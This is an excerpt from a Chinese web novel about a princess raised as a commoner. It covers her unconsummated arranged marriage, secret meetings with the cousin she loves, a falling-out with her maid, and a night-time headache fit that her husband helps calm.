一说这个,孟母就不忿:“那还要怎么着,真要我给她供起来?” 孟父对她怒目而视,孟母又软了:“那不是我心里想着事情嘛……老爷,瓷哥儿,你……” 孟母想直接问,又觉得这种事情不该她这个妇人插嘴,可是不问清楚万一瓷哥儿真不会怎么办? “你要说什么直接说,吞吞吐吐干什么?” 孟母掀开车窗看了一下,见路边没人,才凑近孟父耳边,犹豫道:“我看公主一点事儿也没有……瓷哥儿不至于这么不济事吧。” 孟父从来没怀疑过这个问题,但是……他回想起早上这对小夫妻的表现,那真是客客气气、相敬如宾,一点新婚的热乎气都没有。 “不是叫你婚前备着丫鬟吗?”孟父气极了,这算什么事儿啊? 孟母早就受够了家里出什么事儿孟父就都怪她没用的这种态度,语气便不好起来,她侧头对着车厢:“瓷哥儿不要,我能怎么样?早就跟你说过了,你整日嫌我唠叨,却也不听我讲了什么。” 这下孟父也有点拿捏不准情况了,按理说这男子到了精满自溢的时候,便是长辈约束着,也是忍不住明里暗里偷点腥的。 孟父甚至开始怪自己从小约束太过,是不是让儿子视人欲为大过了。不喜欢美-色没关系,但是……也不能不会啊。 这下孟丞相真心急如焚了,朝堂上发生再头疼的事情,那也是别人家的事情,他跟着着急也没用,可是这事他不着急不行啊。 明日三朝回门进宫,这……这这这,公主竟然没做成女人,陛下还不得削了他。 “我找机会,我待会就找机会跟浴恩说。”孟丞相嘴巴上安慰自己、也安慰孟母:“别急别急,瓷哥儿有没有问题我还不知道吗?今日圆了就是了……” ** 虽只是因婚事改族谱,但能迎娶公主是件光宗耀祖的事儿,自然要大办! 孟氏祠堂里,上了三牲六畜的祭品、燃了拳头粗细的上等蜡,孟丞相虽不是族长,却比族长更有地位,便由他主祭。 山照也尊重仪式,只是遇跪礼不跪,其余都按照流程走。 祭酒、上香、焚纸,最后才是请族谱、加名字。 这一忙起来就到了中午,族老们本邀请孟丞相吃家宴,但孟衡之口称事务繁忙,足给了族老们十两酒水钱才得以脱身。 回到府,孟丞相觑了儿子一眼:“待会陪公主吃完饭,就来找我。” 看儿子是一脸嫌弃,看公主又是一脸和蔼:“辛苦殿下了。殿下爱吃什么尽管说!” 孟浴恩不明所以,但还是回了留墨院吃了一顿午膳,而后才去找了父亲。 孟衡之真是左思右想也没明白,自家儿子怎么会不懂男女之事呢?他一见儿子进门,就把侍从全部赶出去,而后开着门窗,小声问:“昨晚,没有圆房?” 孟浴恩点头,确实没圆。 但他随即又提醒道:“父亲,问此事实为不礼。” “礼礼礼,都这时候了还跟我礼。你昨晚在干嘛?”孟丞相第一次觉得儿子做事不靠谱,公主年华正好、青春美丽,他怎么还能跟从前一样不懂风情呢? “我昨晚……” 第30章 第 30 章 她的眼睛 一晃过去三五日, 山照已经搬家去了公主府,并且安定下来了,再也不用搭理孟府那一-大家子。 只是…… 她小口饮着一碗燕窝, 一抬眼就看到对面正陪膳的驸马。 这个麻烦就不太好甩掉了。 虽然三朝回门后就把人支去了西院,没有让孟浴恩跟山照起居生活。但驸马每日请安、每餐陪膳, 山照也不好阻拦。 可是虽然没人催促山照, 但是她还是感受到了一种难言的压力, 她总觉得驸马每次出现都像在提醒她——我们还没有圆房! 这让她心里隐约对他的愧疚都淡了, 更可怕的是,前两日她知道了父皇给他批了三个月的婚假, 整整三个月! 驸马三个月都不去点卯上班, 于情于理都该多陪她,但山照很不想要这种‘特别关照’。 山照看着他的脸,虽然赏心悦目,但她看着只感觉舌尖发苦, 而后一口将碗底饮尽了。 不行,她得给他找点事做…… 饭毕,漱口盥手,两人移去了静室闲聊。 “驸马……”看着热茶升腾起的白色雾气,山照勉强挤出个微笑:“我听婢女们听过你的一些往事,都说你颇有才华。” 孟浴恩抬眸,神色认真起来,他知道公主接下来要说点正事了。 “驸马也知我的来历, 既然已是夫妻, 我也就不见外了。” “我这些日子读了些书,却有些知其然不知其所以然。有学问的女先生不好寻得,我也不愿跟那些闺阁女孩抢师……不若这些日子驸马来教我读书吧!” 这事情在山照心里已经思量过一段时间了, 她现在想不出来什么很合适的借口稳住驸马稳住孟家。可她知道就这样跟驸马做无谓的纠缠,只是浪费时间。 她情愿把这些空余时间拿来做点有意思的事情,比如念书。 她虽然不喜欢孟浴恩,却不是看不起他。这可是个少有才名的世家子弟,别的不好说,念书指定是行的。 孟浴恩听了这句话楞了一下,他想:公主确实跟旁人不太一样。 这么几日过去,他早就从被拒之门外的不忿当中冷静下来了,但横亘在他面前的是更为严峻的事情,公主是故意敷衍他的,他得先解决这个问题。 “殿下好学,自然是好的。臣愿意竭力为之,只是……”他拱了拱手,双目凝着山照的眼睛:“臣能否问公主一个问题?” 山照端着茶杯的手顿住了,她坐正了身子:“驸马请问。” “公主是否对臣,有所不满?” 山照:……这话要怎么接? 她有些尴尬,不知道该如何应对这么直接的问题。 “驸马为什么这么问呢?” “因为殿下,其实并未身体不适。” 山照这下真是惊讶了,到底哪里漏了馅?难道还是上次那个婢女透露的? 她上次试探过婢女们的口风,但一无所获。宫里婢女出行都有例的,需得两人,因此外出过的人都能找到配对之人为自己作证。 “臣只是心里有些困惑,殿下与臣有圣旨赐婚、有三媒六聘,如今已经是正正经经的夫妻了。殿下,究竟介意何事呢?” 孟浴恩知道之前完全是自己会错意了,公主对他并无情意。不过他觉得很正常,毕竟他也没见过公主几面,也不算有什么感情。 但他确实困惑,自古以来都是父母之命,媒妁之言,熟不熟悉爱不爱慕,本也不决定什么。他不懂,公主这样做的理由。 但不管是什么样的理由,他都得解决。 孟家,非常需要这门婚事。 山照那被忽略的愧疚之心又起来了,说到底其实孟浴恩也没有做过什么。想娶公主不算错事,人都想往上爬,姻亲只是一条捷径。 坏就坏在,她不情愿。 她对孟浴恩心情是很复杂的,所以不太愿意见他。 她从昭明帝那日的态度看出来了,即便不是孟家也不可能是表哥。但如今既然娶她的是他,那只能让他承受这些不满和怨念了。 这种愧疚让她说了句半真不假的实话:“因为,我不爱慕驸马。” 说完这句话,山照自己先紧张起来,她不知道孟浴恩是什么反应,她害怕争吵与恶言。她甚至已经预想出了,一些狰狞对峙的场面,可是——没有发生。 “此事,臣已经知晓了。” 山照仔细观察,他表情很是平静,跟她预料的相差甚远。 “可是殿下,夫妻成婚本也不是凭着爱不爱慕的。前朝户部陈侍郎嫁女,愿让娇女隔着屏风一见,已是时人称颂的开明之人。” “结亲,是求两姓之好。臣承认,求娶公主也有孟家私心。但如今既然已经成婚,还请公主给臣一个努力的机会。” 孟浴恩不欲隐瞒什么,他虽然对婚事没有过多的期待,但是若能和美一些不是更好?公主既然和其他妇人想的不一样,他便也把她看得特殊一些,只要结果是好的,他愿意多花心力。 山照有些触动,至少他说的明明白白,他确实在关心她是什么想法,即便这个想法也许不利于他。他有他的立场,她有她的想法,也许,他们并不一定是敌对的。 “我知道你们的婚姻都是这样的。可是驸马,在我从小生长的地方并不是这样的。如果我在李家村成婚,我想我会嫁给的人是一个我熟知的人。我知道从小到大他的经历,我知道他的性格,对父母是否孝顺对兄弟是否友爱。当然,我的一切他也知道。” 可能是实在憋太久了,山照一口气说出了自己的真心话,当然,她还是知道跟表哥那段是不能提及的。 山照紧紧盯着他,眼里有她自己都没有察觉出来的紧张,或许还有渴望认同。 “殿下,但臣无法让那些已经悄然走过的时光逆转。”孟浴恩没说出口的是,就算他们自幼定亲,也注定不可能了解到这种程度。 “但是殿下,婚事已成,即便是公主想更改也很难达成。假使殿下是因为不熟悉而畏惧,臣请殿下给予臣一些时间,现在和未来,我们会有很多时间熟悉。” 这番话,孟浴恩完全没有掺杂个人的情绪,他不过是讲出事实。 山照心里的紧张感减弱了很多,虽然她知道孟浴恩没有放弃打动她,但是能够有一段时间缓冲,她就满足了。 退一万步讲,就算她答应了反悔,他们也不敢乱来的。 她是公主。 这个身份让她迫不得已,又让她拥有有限自由。 “好。” 孟浴恩唇角扬起,得到承诺便自己退了好大一步,换了个话题:“那殿下想学些什么书呢?臣还未做过先生,得准备准备。” “我想……” 风吹动了廊下的风铃,叮叮当当的声响掩住了两人的交谈声,只余两道日光中对坐的人影成双。 ** 勤政殿内两尊香炉终日不歇吐露着龙涎香的香味,殿内宫侍向来以沾染上这种香味为荣,因为这说明今日他是在御前伺-候,是皇帝眼前之人。 可福清今日却厌恶起这香味,恨自己怎么今日不凑巧刚好帮旁人值了一天,正遇上陛下心情不好的时候。 他半个身子隐没在幕帘中,极力降低自己的存在感,连呼吸声都屏住了。 昭明帝眼神冰冷森然看着御案上放着的几封奏折,他才翻了两封便丧失了所有耐心,狠不得讲它们全部付之一炬。 自他御极开始,就隐隐约约有声音请立太子,说得好听是让群臣心定,其实就是怕昭明帝突然驾崩。 他受过重伤的事情又不是什么秘密,再说瞒得了旁人,怎会瞒得住后宫,尤其有儿子的那几个。 “三省六部……”昭明帝还是没忍住将这一叠奏折挥袖扔了出去,正巧扔到福清面前,他吓得浑身一颤,汗毛直竖,立时跪了下来。 “陛下息怒。”福清头埋得深深的,只怕自己不够恭敬。 昭明帝露出一个不屑神情,冷哼一声,却不是对着福清:“你数数,叫立哪个的最多……” 说到这里昭明帝倏然想起曾经收到的,那些雪花般的奏折。他当时特地叫太监们将这些奏折整理放置到一处:“再把从前的找出来,认认真真数数。我要看群心所向的究竟是哪个……” 福清怎么敢沾这要命的事情,他数对了也是错,数错了也是错。他一个没根的人,掺和立储的事儿里图什么啊…… “陛下,群心所向同圣心所在如何能比?”福清硬着头皮回道:“立储之事是国事,可也是家事。奴才出身贫贱,可从没听过家里哪个儿子挑大梁需要旁人插嘴的。” “哦?”昭明帝站了起来,走到了福清面前,用鞋尖踢了踢他的脸:“起来回话吧。” “你来说说,什么是家事什么是国事?” 昭明帝的情绪好似恢复正常,但福清并不敢放松丝毫,这答的不称心就要丧命。什么御前大太监,一样是说死就死的玩意。 “奴才认为,陛下的事儿都是国事也是家事。权看您,要怎么算……” 福清虽然站起身回话,但肩背佝偻着,头硬生生低到了昭明帝的肩膀下:“奴才反正听陛下的。大人们,也是陛下的奴才,其实也该听陛下的。” 昭明帝知道这太监是在哄自己,但他要的就是这种顺从,他要立谁不立谁由得他们做主吗?那些女人……在自己面前一个个都柔情似水,可离开他的视线便统统是吃人的虎豹。 他还没死呢,就想着如何瓜分他的遗产了…… 脑海中闪过一个个或模糊或清晰的人脸,她们笑着哭着快乐着痛苦着,却统统是假的。 “数一数,拿下去数一数。” 昭明帝再次重复了一次,表情不悲不喜,却让福清从心里抖着尖儿打了个颤。 “是。” 这次他什么旁的也没说,一本一本捡起那些被扔掉的奏折,面对着昭明帝倒着退了出去。 勤政殿里,彻底静默下来,只有龙涎香的味道还幽幽飘荡着。 ** 黄昏后,公主府东院的一侧小门处忽然传来猫叫声,两短一长。 宜春守在这里已经半个时辰之久,听到这声音还是紧张,虽然明知这会府中根本没有四处走动的人,但她还是朝左右都看了眼,这才取下门栓,将这‘不速之客’迎了进来。 “杨公子,请跟我来,务必悄声些。” 宜春是现在山照跟前除了灵曲之外最受重用之人,她看起来年纪颇小,圆脸窄眼,有些像过年时贴着的画娃娃。 但她的性格可与这相貌大相径庭,实在是个能力出众又小心谨慎之人,所以山照才把接应杨力行的事儿托付给她。 只见她带着杨力行从院内假山隐蔽之处绕行,期间虽遇到了一波还在走动的奴婢却并未被发现。 不到一刻钟,杨力行出现在了公主的闺房。 山照看见杨力行其实是有些生气的,气的自然是他沉不住气。她才刚搬过来,就敢差人送信给她,这府里的人又不只有她贴身的这么几个,露了形迹她还有什么理由跟孟家周旋呢? 她可以拒绝的,但她同意了。 罢了,表哥心里忐忑,她也知道的。换做是她,表哥另娶他人,她指定没有那般好脾气还容忍着。 杨力行见了山照才松了口气,他这些日子总是想,会不会有日再见表妹,她看他的眼神再也不复当初情意。 婢女退了,山照才坐在塌上数落他。 “表哥,不是说好带我这里修整好再传信给你吗?你这样可知我冒着多大风险。” 杨力行无话可说,他知道自己冲动了。他传信的时候就预料到表妹会不高兴,但他还是为着应允暗自心喜。 “表妹,我看到你的花轿从我面前走过,我的心就乱了。……下次再也不这样了。”杨力行蹲下来抱着山照的腿。 他其实很做不来这种媚迎的事情,动作呆呆、表情也呆呆的,山照只觉得好笑。 “好了,我也没真的生气。”山照摸-摸他的脸,又叫他坐起来。 “我叫你打听的事儿怎么样了?若是差事干得不好……”山照睨他,眉眼间是不露人前的娇俏:“那我可要数罪并罚。”她双手举在胸-前一起做了一个抓握的姿势。 杨力行悄悄伸出一只手,握住了她的手,而后才开口:“我在巡街的时候常跟街坊们闲聊,也能听到许多市井故事。里面有许多是讲一介白身是如何被高官看重而后飞黄腾达的。” 山照静静听他讲着。 “我觉得……里面有个故事,表妹你可以效仿。说是两百年前此地有个穷书生叫方平,此人从小聪敏好学却家徒四壁,有一日在河边涮笔,被路过的贵人看见他几乎要用秃的豪笔,而后顺手蹭了几只好笔。谁知那方平却就此高中,而后入仕竟又见到了那路过贵人。” “后来那贵人因与其他高官政见不同被攻讦品行底下,方平便自发在市井以赠笔之事奔说,百姓皆知,惊动了陛下,这才还那贵人清白名声。” 杨力行虽被承恩公打发去做了个不入流的衙役,但确实由此接触了很多从前根本不知道的事情,他渐渐有些开悟了,心中不安也与日俱增。 他握住山照的手更紧了:“表妹,我觉得……” 他紧张到几乎说不出话,他其实一直觉得自己给别人提不出建议,可表妹说她不能轻易出门,她也永远不可能再用普通人的去看到真实的世界。 他会是她忠实的眼睛,杨力行就是为了她这句话,才同意离开她的。 “上京有五所书院,我打听过其中有很少一部分是寒门学子。他们是文人,可以进入更上层的圈子。表妹,我觉得,他们值得关注。” 山照欣慰笑了,表哥也成长了。 他们都成长了。 这种感觉真好,不是一个人徒劳无功的挣扎,而是两个人携手并进。 “表哥,很好。我有想法了……”《 》 30-40 第31章 第 31 章 孤悬明月 上京有十多家大大小小的书院, 这些书院里面最出名的有四家仁心、山麓、铜心、不鸣。 白应礼是仁心书院的一名学生,他不过三十出头的年纪已经是进士,这曾经是白家莫大的光耀, 可是随着科考失利、前朝崩溃,他虚度了五年时光, 本就贫瘠的家底随着他成婚生子、求学送礼日渐薄弱。 早上出门时, 他看见了发妻耳边已经有了一缕白发, 他们最大的孩子不过十岁, 却也要开始准备童生试了。 他忧愁着面容,开始犹豫要不要再搏一次。新朝必定是要开恩科的, 他本是奔着第一次这个名头去的, 可是,他为了求学必定没有太多时间赚取家用,耽误了孩子的前程又怎么办。 他远远的已经能够看到书院的大门,但更显眼的是围在门前的一群人, 他们似乎是围着什么东西,一边指指点点一边低声讨论。 白应礼挤进了人群中,在一阵推攘吵闹中他才看见,里面是一个木制的告示牌,但不一样的是,告示牌上明黄的丝绢。 明黄,皇室专用。 丝绢,昂贵之物。 白应礼逐字逐句看起告示中的内容…… 泰和公主书: 吾偶知仁心、山麓、铜心、不鸣四书院有满腹经纶却因家贫难以为继者, 实在可怜。吾李氏王朝正是百废待兴、求贤若渴之时, 不该因一时贫困错失良才。今愿舍食邑之财,资助四书院中家贫且考核为甲之良才,若确有需资助之学子, 请学子十日内持书院山长手书至泰和公主府。 他读至最后一句,几乎不敢相信自己的眼睛,甚至想伸手摸一摸这丝绢来确定是不是真实的。 手刚伸出,就被他人拦回去了。 “别摸,摸花了怎么办,还有好多人没看!” 白应礼抱歉一笑,对着那人拱手作揖:“小生失礼了。” 而后没有迟疑径直朝山长的院子走去,刚开始是急走,后面索性撩起袍角奔去。无他,他正是考核常为甲等! 他得赶紧寻到山长,占了先机才好! 而似白应礼这般的学子并不在少数,他们或老或少,但无一不是穿着朴素、面上无肉之人。 ** 泰和公主资助穷学子的事情,初时在上京还是引发了一阵热议。但因皇家并无反应,孟家也甚为低调,这阵热度也悄然过去了。 当然,这与泰和不过是公主也有关,便是民间声望高些也不影响什么。 山照虽布了这局棋,但她也知道这些人人微言轻,便是将来真进入官场,也要一日日苦熬才能有一席之地。 但这些也不过是练手,便是再天才也不可能在毫无经验的情况下一口气干一番大事业。 山照站在院里眺望着公主府正门,她知道那里这几日热闹的很,但她却不好抛头露面。 “驸马正在前头呢。”是灵曲。 山照没有回头,是她默许孟浴恩替她出面的。无论她怎么看待,在旁人眼中,驸马就代表着公主,他是替她做事为她说话。 他们现在的关系比起夫妻,更像是同盟。当然,这正是山照想要的。 “殿下,其实驸马……并无什么不好的。”灵曲知道公主的一切,毕竟事情总是需要人去做的,正因为知道她才更心疼公主。 公主所做的一切都是为了跟杨公子在一起,她并不贪慕权力也不享受富贵,而是为了将来东窗事发而未雨绸缪。 可明明,眼前就有一条更加轻松且理所当然的路可以走。 山照看着眼前的庭院,她得承认驸马督造公主府是用了心的。眼前处处楼台、步步生景,不是用心设计不可能让公主府有今日的层楼叠榭、雕栏玉砌。 “灵曲,我知道你是为我好。但从今以后不要再讲这样的话……”山照此刻的语气依旧算不得严厉,但这是她这么久以来第一次对灵曲说这样的话。 “表哥和驸马究竟谁更好,是我来决定的。” 灵曲咬着唇道歉:“是奴婢失言了。” “不,你不是失言。你是心里始终不服气,可是,且不说我做的事情究竟对不对。你想想,曾经的你是这样的吗?你敢一而再而三的反驳原来的主子吗?” 山照依旧是那样淡淡的语气,可是话语中的内容,让灵曲胆寒。 她犯了大忌讳! 灵曲猛地反应过来,她双手举过头顶,无比标准的跪拜下去。 “公主息怒……”她的声音发着颤,显然是害怕极了。 山照看见这样的灵曲,心里一阵难受,她本来一直压着情绪,一直不想说的。 说是主子和奴婢,但山照曾经是把灵曲当做朋友看待的。她看见了她最脆弱无比的时候,她知道她的痛苦与挣扎,她本以为还能有一个人能真心听她说说话的。 可是……山照反思过自己,是她忘记了。她自说自话把灵曲当姐妹,却忘了在灵曲心中她始终是主子,还是个亲近有余、威严不足的主子。 “灵曲,你说到底是谁告诉驸马那天我穿的什么颜色的衣裙呢,你说为什么驸马知道我并没有月事呢?你说,为什么驸马突然就愿意同我讲和了呢?” 人走到岔路口,再如何紧紧牵着手也无法改变各走一路的未来。山照一直不愿意正视,可如今她不得不正视了。 灵曲的头深深的低下去,她脸色惨白,后背瞬间浸满冷汗。 公主知道了,灵曲确信这点。 尽管她觉得公主没有证据。但是主子认为你是,你不是也是了。 更何况,她是。 “公主,我真的是为您好。”灵曲还是要为自己解释一句,她并没有出卖公主,她只不过希望公主与驸马的关系能更好一点。 “虽然奴婢一直在为驸马说话,但奴婢没有收过驸马一点好处。请公主信奴婢。” 这话等同承认了,山照眼底透出心伤,她猜测了许久,每个丫鬟仆妇都分析了一通,但都一无所获。 山照不熟悉孟浴恩,但她知道世上绝不可能有这么巧的巧合。她觉得,一定是有人改变了驸马的想法。 既然其他丫鬟仆妇们都有不可能的证据,那她身边自由度最高,权力最大的灵曲又怎么能毫无嫌疑呢? 所谓灯下黑不就是如此,看似最不可能实则就是隐藏最深的。 “我相信你没有收过他的好处。我也知道你没有告诉他那些事情。” “可是!”山照回头,故作轻松的情绪此刻忍不住迸发出来:“你为什么要枉顾我的意愿,你难道不知道我最恨的就是……父皇强行安排了我!” 山照着实为这个事实痛苦,她都猜出了这事两三天,但都一直佯装无事。她甚至,本打算就这样下去的。 可是灵曲一直试图撮合她跟驸马的事情,实在让她太难受了,她抓住灵曲的肩头,迫使她抬起头:“连你也……你也觉得我做的事情是错误的吗?我就是喜欢上了一个普通的人罢了,跟你们有什么关系?!” 灵曲闭上眼睛,她知道事情到了这一步她已经不可能在公主跟前伺-候了。 可她不后悔。 她流着泪,却不再求饶,反而是毫不退让的反问山照:“您可知道,主子们犯了错,遭罪的都是我们这些下人。” “您有陛下宠爱,承恩公袒护,就算有些什么,您不过去庙里清修一段时间避避风头就够了。” “可是奴婢们呢?奴婢不是为了自己一个人,还有这满府的下人啊……殿下,她们最小的也只有十三岁,您届时会保谁?” 灵曲抬起头,眼眶红艳艳的,一字一句像刀子一般戳中山照的心:“您能保住谁?” 山照气笑了:“好好好,原来你就是这样想我的。” 灵曲的话赤-裸-裸的揭开了山照之前闭着眼不去看的残忍的现实,她是君,是至高无上,也是孤悬明月。 高处不胜寒。 ** “奴婢低贱,可也是一条命啊,蝼蚁尚且苟且偷生。奴婢只是想,只想,如果殿下能够喜欢上驸马不就皆大欢喜了吗?” 灵曲哭诉的面孔在山照梦里反复出现,山照猛然睁开眼,心跳如擂鼓。 她好痛,她的心好痛,她的头也好痛…… 守夜的宜春、宜夏听到动静连忙点起蜡烛来看,待看到公主神色萎靡、发间潮湿,立刻慌了神。 “殿下,殿下,您哪里不舒服?” 山照头疼欲裂,她睁开的双眼满是血丝:“我要表哥!” 她喃喃着,语句含糊,宜春、宜夏对山照没那么熟悉,两人对视一眼。 去找驸马!去找医师! 宜夏出门去寻人,宜春留在内室陪着公主。 但她并不知道公主是怎么了,只知道公主一味叫疼。直到山照疼得意识恍惚,甚至趴在床上用手锤自己的天灵,这幅模样简直吓呆了她。 正巧这下宜夏唤醒了宜秋宜冬,一下子又有了帮手。宜春连忙招呼宜秋,去找灵曲姐姐,赶快! 宜秋愣神,她是知道公主跟灵曲大吵了一架而后被冷落的事情的。要不是这样,她们哪里有出头的机会。 但这会公主这幅模样也是惊住了她们,要出头也要有这个本事才行,宜秋连忙去请灵曲去了。 孟浴恩睡梦中被山照跟前的宫婢叫起,便知道是出了事情,他住得又远,只来得及披了中衣,连头发都没束,就这样蓬头垢面的闯进了山照的卧室。 他只看了一眼,便当机立断唤婢女:“叫立余拿我的令牌出门请医师,告诉他一路敲门过去,能来几个来几个!” “不用!”灵曲衣领都没系好,她双眼红肿的不成样子,嗓子也哑了:“公主这是旧疾了……” “是头风还是什么?有药吗?”孟浴恩皱眉,他此刻也顾不上其他了:“你就说从前是怎么做的。” 灵曲望了眼山照,一个想法如同惊雷般在她脑海中炸响。公主固然是喜欢杨公子,但也未必没有因为杨公子是公主的药的缘故,可是这世间男子真的只有杨公子能做药吗? “驸马请屏退众人。法子,自然是有的。” 她知道这是更大的一场冒险,或许重回公主身边,或许彻底跌落谷底。 “驸马……”灵曲卡住了,她张口好几次才吐-出一句似是而非的话:“请驸马脱掉上衣,将公主搂到怀中。” 孟浴恩几乎要气笑了:“这是什么办法?” 灵曲无法只能再三保证这个法子一定有用。 山照闹得厉害,孟浴恩凝神看着她,最终还是褪了衣服,露出白玉般的胸膛将山照搂到了怀中。 但山照只顾挣扎,并没如灵曲预想的那般。 灵曲心里急得不行,恨不能上手去帮公主把嘴对准了。 吃啊,殿下! 第32章 第 32 章 事后质问 孟浴恩当然感觉到不对劲了, 但他知道公主眼前最得意的就是这个宫女,她也不敢拿公主的病情开玩笑。 他双手紧紧锢住山照的上半身,听见她痛苦的呻-吟, 又松了松手,却让她一下挣脱出去。她无意识的睁着眼, 双手紧紧抱着头, 面色发白, 看起来确实十分严重。 “还是叫医师来吧。” 察觉到公主又有捏紧拳头锤额头的自伤行为, 孟浴恩又将她锢回怀里。 灵曲将一切看在眼中,却不知道公主的表现为什么不像跟杨公子在一起的时候, 难道说这会公主竟还能认出人吗? 她不愿意就这么放弃, 硬着头皮对孟浴恩道:“驸马,公主凤体要紧,请宽恕奴婢接下来的冒犯之语。” 孟浴恩侧目看了她一眼:“说吧。” “其实,殿下有个怪癖。”灵曲实在也是没办法, 她现在不可能把杨公子叫过来,便只能告诉驸马一些实情。 “若是心情不郁,则可能头疼不止,便正如此刻这般。” 山照扭动的身子和渐渐发狂的行为让孟浴恩也有点吃力,他还要分神听灵曲讲的内容,见她吞吞吐吐的忍不住催促:“说重点。” 灵曲心里再多不安,此刻事在眼前,也只能咬咬牙说了出来:“驸马若知妇人哺乳, 便请哺公主片刻。殿下自然不药而愈。” 青年猛然看向灵曲, 披散着的黑亮发丝在空中划出个半圆,便都积到左侧,右侧只有几缕发丝垂落。 “她, 什么有的这种怪癖?”孟浴恩不得不震惊,他在书中看过有人成年而好食母乳,却没想过未来的妻子居然能跟这种奇闻轶事牵扯上一点关系。 灵曲闭口不言,只道:“驸马先救救公主吧!若还是不成,便只好请医师了。” 孟浴恩自然知道事情的轻重,缘由这些都是小事,他不能让公主在他眼皮子地下出事。他看着山照空洞无神的眼睛,深深吸了一口气:“你下去吧。我……做。” ** 灵曲耳朵贴在门外听着动静,她实在是害怕公主不吃驸马这一套,被拖延出了事情。她虽然有自己的私心,但人非草木,她心里还是盼着公主好的。 她刚开始还听到了一点挣扎声音,而后动静就越来越小了,再到后面简直算得上平静。 灵曲猜测还是起了效果,公主顺利睡着了。 果然,没过一刻钟,她听见了衣物摩-擦的声音。连忙退后几步离开了门口,只站在窗边担忧的看着屋内的方向。 几不可闻的一声门响,驸马披着头发从屋内走了出来,他衣襟系得严严实实,眼下有些酡红,表情却十分冷淡。 他虽然仪容不整,但灵曲却不敢轻视,连忙行礼。 孟浴恩随意坐在椅子上,动作间胸上传来的刺痛却让他神色一变,他紧咬牙关没发出一点额外的声音。 “说吧,公主这个……”他都说不出怪癖这两个字,实在是太让人难以启齿了,怎么会有女人有这种习惯,他不能理解。 灵曲不知道,知道也不敢说。明日公主醒来,还不知道有什么样的反应,她是松了一口气后又紧吸了一口气,一颗心还是悬吊着。 孟浴恩看她的表情就知道问不出来,也不勉强,说到底是公主的隐私,他们之间还没有那么多的信任。 “好,你不说这个可以。”孟浴恩倒了一杯冷茶,喝了一口,那冷意从舌尖、喉咙、一路凉进心腔,这才让他的燥意降了些。 “你就说,之前是什么人帮公主……治病的。”孟浴恩回过味来,如果女子的能行,婢女们情愿自己上也不会告诉他的。 非得要他来,也就说明之前那个人也是男子。这样的行为,实在是让他不得不介意。 灵曲没想到驸马这么敏锐,但她一时间竟然不知道编造什么谎言,只干巴巴的解释:“驸马千万不要告诉公主。公主这会是没有意识的,就算明日醒来,殿下也什么都不知道。” “她在民间的时候,也是这样?”一种极其复杂的情绪涌动在孟浴恩心中,他其实不需要灵曲一个确定的回答,他不会相信他是第一个这个蠢话。 但是……这种亲密无间的事情,他怎么能够接受自己的妻子原来对其他的男人做过,哪怕她不知道。 孟浴恩一只手侧着扶额,闹了着半夜他眼底是深深的倦色,但是今日不问个清楚他也别睡了。 他看着灵曲,耐心耗尽:“不用想着瞒我,实话跟你说,我早已安排了人回殿下长大的地方打听。” “街头巷尾总不会一点流言也没有,迟早……迟早,我会知道的。” 灵曲还是没有说什么。 不管公主的事情是从何处暴露出来的,但决计不能再是她这里。她不过透露了一些无伤大雅的事情,就丧失了公主对她的信任。 如果她再敢说一些内容,说不定公主会舍弃掉那份待她的不同,她将会迎接比失宠更悲惨的命运。她也不愿意再伤害殿下了。 “驸马请不要继续深究了,公主……是您的结发之妻啊。” 结发之妻…… 这句话不仅没有让孟浴恩的疑惑平息,还让他想起更多,没有夫妻之实的夫妻还算什么夫妻? “我不为难你,我会亲自问殿下。”孟浴恩神色格外冷淡,灵曲看着他这样的表情,瞳孔微颤,想说些什么来阻止驸马去质问殿下,但终究是想不到更多的说辞了。 “还请驸马体谅公主身体不适,晚些再提吧。”灵曲跪下求情,她只能做到这点事情了。 孟浴恩看向屋内,山照安眠的地方,冷哼了一声:“我看她精神着呢。你在这守着吧,明天早上我再来。” 灵曲知道这是驸马已经让了一步,叫她提早点告诉公主做好准备,只将驸马送到门外,又返了回来。 灵曲守着公主,心乱如麻,片刻也睡不得。 她一面想着自己要怎么跟公主说昨夜是驸马陪伴的事情。一面想着自己要怎么让公主做好驸马追问的准备。 她实在是不知道一桩婚事怎么变成现在这个样子的。公主心有所属,驸马毫不知情,一旦被发觉,这怎么收场呢? ** 山照知道自己昨夜犯病的事情,在她意识消失之前她还担忧过表哥不在身边自己要怎么办,她很希望自己独自一人也能撑住。 在轻松醒来的那一瞬间她是欣喜的,她以为靠自己挺过去也能痊愈了。 但她看见了满眼血丝、嘴唇干裂、眼下发黑,一看就是一-夜未眠的灵曲,这种喜悦就淡了。 而当灵曲告诉自己,昨晚是靠着驸马才渡过去的时候,她的欣喜就荡然无存了,转变为复杂的苦楚。至于跟灵曲那点事情,在她说出这件让人焦头烂额的事情之后,她已经无暇顾及了。 她跟驸马的关系还是要变得复杂了,她不能怪驸马,也怪不了灵曲。 “殿下……”灵曲实在是不想在公主刚醒来的时候就告诉她这么不好的消息,但她知道驸马的意愿是不会轻易改变的。 “昨夜驸马追问奴婢公主的病情情况还要曾经是如何渡过的,虽然奴婢并未回答什么,但驸马已有猜测。”灵曲不敢跟山照有眼神对视:“驸马说,他今日早上会来寻殿下要个答案。” 山照一下坐直了身子:“他猜到了什么?” “奴婢不知。只是驸马告诉奴婢,已派人回殿下长大的地方寻访,想必……杨公子的事情已经是纸包不住火了。” 山照想过有一天会被揭穿的,但没想到这么快。但很快她冷静下来,不,她不能自己说出口,即便是真的被他查出来,她也要抵死不认。 但山照从小到大除了跟表哥那一桩确实没干过什么出格的事情,她虽然自觉自己理直气壮,可一想到会被孟浴恩如何质问就还是辗转反侧。 她饭都没用几口,一时想着他也不能把自己怎么样。一时又想着自己怎么一点也记不起昨晚的事情了。一时又想到被父皇和舅舅知道了怎么办…… 直到婢女通传驸马到了,山照这种无措才被强制终止了,只能面对现实。 驸马熬了夜却一点也看不出来,依旧是神采奕奕,只是表情比前几日的多了几分探寻。 他一来就请山照屏退婢女,山照咬唇,很是犹豫,像是一个考差了的孩子不愿面对自己的考卷。 公主不言,孟浴恩也难得表现出他的强势,直接叫婢女们下去。婢女们自然看公主脸色,但山照依旧是不发一言,此刻驸马态度便更笃定了。 婢女们终究还是犹豫着退了出去,只是掩了门没有走远。 “殿下,就没有一点什么想跟臣说吗?” 山照:…… “好,那臣先说。”孟浴恩看起来体体面面的,是因为出门前精心收拾过,若不然他其实也面有疲色。他从前以为自己还是有点雅量的,那日被关门前生气他反思过是自己把期待放太高了,但是他没想到过了几天还能发现有这种事情,又气了一-夜。 “臣与殿下有君子之约,本不欲冒犯公主,但昨夜情况危急,臣便只好……献身。”在最后两个字,孟浴恩特地说的又慢又重。 山照虽然一点也想不起来了,但既然灵曲说有,那便是有了。 